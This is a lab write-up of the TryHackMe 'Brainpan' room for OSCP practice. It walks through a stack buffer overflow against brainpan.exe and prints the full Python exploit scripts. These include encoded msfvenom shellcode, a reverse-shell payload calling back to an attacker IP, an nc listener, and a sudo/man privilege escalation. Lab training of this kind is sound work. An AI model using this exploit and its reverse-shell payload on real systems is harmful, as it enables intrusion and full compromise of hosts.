Brainpan TryHackMe Writeup

Shivam Taneja
11 min readNov 6, 2022

Brainpan Walkthrough

Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine.

Enumeration

nmap $target -sV -sC -Pn

Two ports:

  • 9999 — Brainpan app (we can see that it’s asking us for a password)
  • 10000 — Simple HTTP Server (focus here first)

Simple HTTP Servers can be used as an easy way to serve up files. We want to run a Gobuster scan to find any directories that will allow us to download the vulnerable brainpan app.

gobuster dir --url http://10.10.59.41:10000 --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 40

After a few seconds you should find the /bin directory. Go ahead and browse to this page and you’ll be able to download brainpan.exe.

We are ready to start analyzing the application and building our exploit. For these next steps you’ll need a Windows VM with Immunity & IDA installed. You’ll also need to load mona.py into Immunity.

https://www.immunityinc.com/

IDA Freeware (hex-rays.com)

GitHub — corelan/mona: Corelan Repository for mona.py

Building the exploit

First lets actually confirm that this application is vulnerable. An easy way to do this is to send the application more bytes than its expecting and see if it overwrites the SRP (Saved Return Pointer).

We can start building our exploit as a simple script that interfaces with the application and sends a payload of 1024 A’s. Save this on your Kali machine as exploit.py.

#!/usr/bin/env python3import socketRHOST = "192.168.11.129"RPORT = 9999buf = b""buf += b"A"*1024buf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Head over to your Windows VM and open up brainpan.exe in Immunity Debugger. Once it’s loaded hit F9 to run. Now from your Kali VM run exploit.py, be sure to change the RHOST to the IP if your windows VM.

You should see an access violation occur in Immunity and the SRP being over written with all the A’s you sent.

This confirms the application is vulnerable to a buffer overflow exploit. Before we continue writing our exploit, lets fire up IDA and take a look at the function responsible for handling our input.

Once brainpan has loaded in IDA you should see the _get_reply function in the function menu. The key bits of information we want from this are the address where this function gets called and also the address where the function epilogue begins.

Double click the _get_reply function to open it up. Highlight any instance of _get_reply in the new view and hit ‘x’, it will bring up the xrefs window. Select the top instance and hit ok & then spacebar. You should now see a view like this:

Make note of this address to ‘call’ _get_reply.

0x311715E6

Now double click on one of the highlighted instances of a call to _get_reply and you’ll now see this view:

At the bottom of this is the function Epilogue, when retn is called it will leave the function and return to where it got called from in the stack. Lets take note of the address of leave, one step before retn.

0x31171361

Now we have these addresses we can set them as breakpoints in Immunity. Head back over to Immunity and hit CTRL + G to first search an address, once it has located it, hit F2 to set it as a breakpoint. Do this for both of the addresses we just noted down.

Restart Immunity with CTRL + F2 and then hit F9 to run it. Run exploit.py again from your Kali machine and you’ll see the first breakpoint for the call to _get_reply is hit.

We can see the address in the EIP value. This is basically showing the address of the next instruction to be executed.

You’ll also notice all the A’s went sent through at the top of the stack.

Hit F8 to step over to our next breakpoint, We will be in the function Epilogue of _get_reply. Retn will be executed shortly.

Hit F7 and you’ll notice that the SRP gets overwritten with A’s. Hit F7 again to execute retn. The application doesn’t know where to return to. You can finish execution by hitting F8 and you’ll get an error.

To clarify, It can’t continue because it can’t return to the address in memory because its been overwritten with 41414141 or AAAA.

Now we need to find out at what point the A’s overwrite the SRP, at that point we want to put an address of our choosing in memory. this is called EIP control.

We can use Metasploits pattern create to help us with this.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024

Lets update our exploit:

#!/usr/bin/env python3import socketimport structRHOST = "192.168.11.129"RPORT = 9999buf = b""buf += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"buf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Run the exploit again & step through the breakpoints in Immunity using F8. We can now use Mona to find which 4 characters of our generated sequence overwrite the SRP. In the command box at the bottom of Immunity enter:

!mona findsmp

EIP contains normal pattern offset 524. This means we can hijhack the SRP after the 524th A. We also note that ESP is offset 528, 4 bytes after the EIP.

Lets update our exploit and confirm these offsets are correct.

#!/usr/bin/env python3import socketimport structRHOST = "192.168.11.129"RPORT = 9999buf_length = 1024offset_srp = 524buf = b""buf += b"A"*(offset_srp - len(buf)) #paddingbuf += b"NICE"  # SRP overwrite.buf += b"LEET"  # ESP should point herebuf += b"D"*(buf_length - len(buf))  # trailing paddingbuf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Restart Immunity CTRL + F2. Fire off the updated exploit and step through the breakpoints once again, stop when you reach retn. You will notice that ‘NICE’ is where the SRP should be & LEET next in line. Continue execution with F8 and it will crash again. At the time of the crash EIP is pointing to 0x4543494E (BYTES) which if converted to ASCII is ECIN or NICE backwards. It’s backwards in this context because of little endian format. You’ll also notice the rest of our trailing padding of D’s afterwards. Congratulations, you now have EIP control!

Moving on, it’s time to determine if there are any bad bytes we need to be aware of. basically, we need to make sure that when we send our final payload (reverse shell), there’s nothing in it that’s going to corrupt the application and therefore making our exploit fail.

The first bad character we should always aware of for a string handling function such as get_reply. is a null byte or “\x00”. ASCII strings are terminated on null bytes.

We also know that the data we send to the application is chunked based on a newline character “\n” or “\x0a”.

Therefore, as a starting point we have:

0x000x0A

We can leverage Python to generate a test string of other potential bad characters. Add the following to exploit.py

badchar_test = bytes(c for c in range(256) if c not in [0x00, 0x0A])with open("badchar_test.bin", "wb") as f:f.write(badchar_test)

This will generate our bad characters from x00 to xFF and then write the string to a binary file. We will use the file after we have sent the payload to a do a comparison.

We want to put this test string payload at the location we know ESP will be pointing at the time of the crash.

Once the program has crashed, we can compare the file we saved on disk containing our test string to the memory location pointed to by ESP. If it’s a match, we know we have listed all the bad characters.

Our code so far:

#!/usr/bin/env python3import socketimport structRHOST = "192.168.11.129"RPORT = 9999buf_length = 1024offset_srp = 524badchar_test = bytes(c for c in range(256) if c not in [0x00, 0x0A])with open("badchar_test.bin", "wb") as f:f.write(badchar_test)buf = b""buf += b"A"*(offset_srp - len(buf)) #paddingbuf += b"NICE"  # SRP overwrite.buf += badchar_test  # ESP should point herebuf += b"D"*(buf_length - len(buf))  # trailing paddingbuf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Restart Immunity once again and run the exploit. Steps through the breakpoints until it crashes. You will now see ESP pointing to our test string (the top of the stack).

To see if our test string has landed in memory intact, we can use Mona. make sure you copy your bad_char.bin file over to the Windows VM running Immunity.

You will then want to run the following command:

!mona compare -a esp -f <location of badchar_test.bin>

Mona tells us that the two items match, therefore, our only bad characters are \x00 and \x0A.

We now need to find the location of JMP ESP. We will use this instruction in the original program to execute our payload.

With Immunity running or in a crashed state, run the following Mona command:

!mona jmp -r esp -cpb "\x00\x0A"
0x311712F3

Now before we can make use of this JMP ESP address we need to take into account Endianness. x86 is known as a little-endian architecture. This meaning numbers or memory addresses are stored in memory as back to front bytes — with the least significant byte appearing first.

The best way to convert our address to little-endian is using Python’s struct.pack().

Another important thing to note, is that when we generate our shellcode using msfvenom it’s going to use the shikata_ga_nai encoder. This encoder has a destructive GetPC routine, it has a tendency to destroy a couple of bytes either side of ESP. This has the potential to ruin our shellcode.

A nice way to do this is to write some code that will subtract from ESP. moving it up the stack and away from our shellcode. This means any damage caused by the GetPC routine will not effect our shellcode.

We can use Metasploits metasm_shell.rb to generate intel x86 machine code:

/usr/share/metasploit-framework/tools/exploit/metasm_shell.rb
"\x83\xec\x10”

Now lets generate some shellcode to pop calc and then lets test our exploit!

msfvenom -p windows/exec -b '\x00\x0A' -f python --var-name shellcode_calc CMD=calc.exe EXITFUNC=thread

Your exploit should now look like this:

#!/usr/bin/env python3import socketimport structRHOST = "192.168.11.132"RPORT = 9999buf_length = 1024offset_srp = 524jmp_esp = 0x311712F3sub_esp_10 = b"\x83\xec\x10"shellcode_calc =  b""shellcode_calc += b"\xbf\xb2\x79\x20\x35\xda\xc6\xd9\x74\x24"shellcode_calc += b"\xf4\x5a\x29\xc9\xb1\x31\x31\x7a\x13\x03"shellcode_calc += b"\x7a\x13\x83\xea\x4e\x9b\xd5\xc9\x46\xde"shellcode_calc += b"\x16\x32\x96\xbf\x9f\xd7\xa7\xff\xc4\x9c"shellcode_calc += b"\x97\xcf\x8f\xf1\x1b\xbb\xc2\xe1\xa8\xc9"shellcode_calc += b"\xca\x06\x19\x67\x2d\x28\x9a\xd4\x0d\x2b"shellcode_calc += b"\x18\x27\x42\x8b\x21\xe8\x97\xca\x66\x15"shellcode_calc += b"\x55\x9e\x3f\x51\xc8\x0f\x34\x2f\xd1\xa4"shellcode_calc += b"\x06\xa1\x51\x58\xde\xc0\x70\xcf\x55\x9b"shellcode_calc += b"\x52\xf1\xba\x97\xda\xe9\xdf\x92\x95\x82"shellcode_calc += b"\x2b\x68\x24\x43\x62\x91\x8b\xaa\x4b\x60"shellcode_calc += b"\xd5\xeb\x6b\x9b\xa0\x05\x88\x26\xb3\xd1"shellcode_calc += b"\xf3\xfc\x36\xc2\x53\x76\xe0\x2e\x62\x5b"shellcode_calc += b"\x77\xa4\x68\x10\xf3\xe2\x6c\xa7\xd0\x98"shellcode_calc += b"\x88\x2c\xd7\x4e\x19\x76\xfc\x4a\x42\x2c"shellcode_calc += b"\x9d\xcb\x2e\x83\xa2\x0c\x91\x7c\x07\x46"shellcode_calc += b"\x3f\x68\x3a\x05\x55\x6f\xc8\x33\x1b\x6f"shellcode_calc += b"\xd2\x3b\x0b\x18\xe3\xb0\xc4\x5f\xfc\x12"shellcode_calc += b"\xa1\x80\x1e\xb7\xdf\x28\x87\x52\x62\x35"shellcode_calc += b"\x38\x89\xa0\x40\xbb\x38\x58\xb7\xa3\x48"shellcode_calc += b"\x5d\xf3\x63\xa0\x2f\x6c\x06\xc6\x9c\x8d"shellcode_calc += b"\x03\xa5\x43\x1e\xcf\x04\xe6\xa6\x6a\x59"buf = b""buf += b"A"*(offset_srp - len(buf)) #paddingbuf += struct.pack("<I", jmp_esp)  # SRP overwrite.buf += sub_esp_10  # ESP should point herebuf += shellcode_calcbuf += b"D"*(buf_length - len(buf))  # trailing paddingbuf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Restart Immunity and hit F9 once again to run it. Also, Feel free to remove the breakpoints at this stage — ALT + b -> right click remove. Run exploit.py. If everything goes correctly, You should see Windows Calculator appear.

Now all we need to do is change the shellcode to a reverse shell and point the exploit to the IP of the host running the vulnerable brainpan application.

To generate the Linux reverse shell use the following, be sure to change the LHOST/LPORT:

msfvenom -p linux/x86/shell_reverse_tcp -b '\x00\x0A' -f python --var-name shell EXITFUNC=thread -a x86 LPORT=5555 LHOST=10.4.40.214

And here’s our final exploit:

#!/usr/bin/env python3import socketimport structRHOST = "10.10.21.175"RPORT = 9999buf_totlen = 1024offset_srp = 524ptr_jmp_esp = 0x311712F3sub_esp_10 = b"\x83\xec\x10"shell =  b""shell += b"\xbb\xd7\x47\xf1\xfd\xd9\xcb\xd9\x74\x24\xf4\x58"shell += b"\x29\xc9\xb1\x12\x31\x58\x12\x83\xc0\x04\x03\x8f"shell += b"\x49\x13\x08\x1e\x8d\x24\x10\x33\x72\x98\xbd\xb1"shell += b"\xfd\xff\xf2\xd3\x30\x7f\x61\x42\x7b\xbf\x4b\xf4"shell += b"\x32\xb9\xaa\x9c\xce\x3d\x65\x8a\xa7\x3f\x75\x27"shell += b"\x8b\xc9\x94\xf7\x8d\x99\x07\xa4\xe2\x19\x21\xab"shell += b"\xc8\x9e\x63\x43\xbd\xb1\xf0\xfb\x29\xe1\xd9\x99"shell += b"\xc0\x74\xc6\x0f\x40\x0e\xe8\x1f\x6d\xdd\x6b"buf = b""buf += b"A"*(offset_srp - len(buf))  #paddingbuf += struct.pack("<I", ptr_jmp_esp)                             # SRP overwritebuf += sub_esp_10      # ESP should point herebuf += shellbuf += b"D"*(buf_totlen - len(buf)) # trailing paddingbuf += b"\n"with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.connect((RHOST, RPORT))s.sendall(buf)data = s.recv(1024)print(f"Recieved: {data}")

Exploitation

Setup a NC listener on the port your specified in the reverse shell.

nc -lvnp 5555

Fire off the exploit and you’ll get a reverse shell!

You’ll want to upgrade your shell to something nicer. To do this we can use Python’s pty.

python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation

Check out the sudo permissions for the user puck:

sudo -l

We have sudo permissions on anansi_util.

This utility allows us to look up the man page of any command with sudo permissions. Running man as sudo in dangerous because it allows arbitrary code to be executed after an !.

Boom! We have successfully escalated our privileges to root.

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Shivam Taneja
Shivam Taneja

Written by Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.

No responses yet

Write a response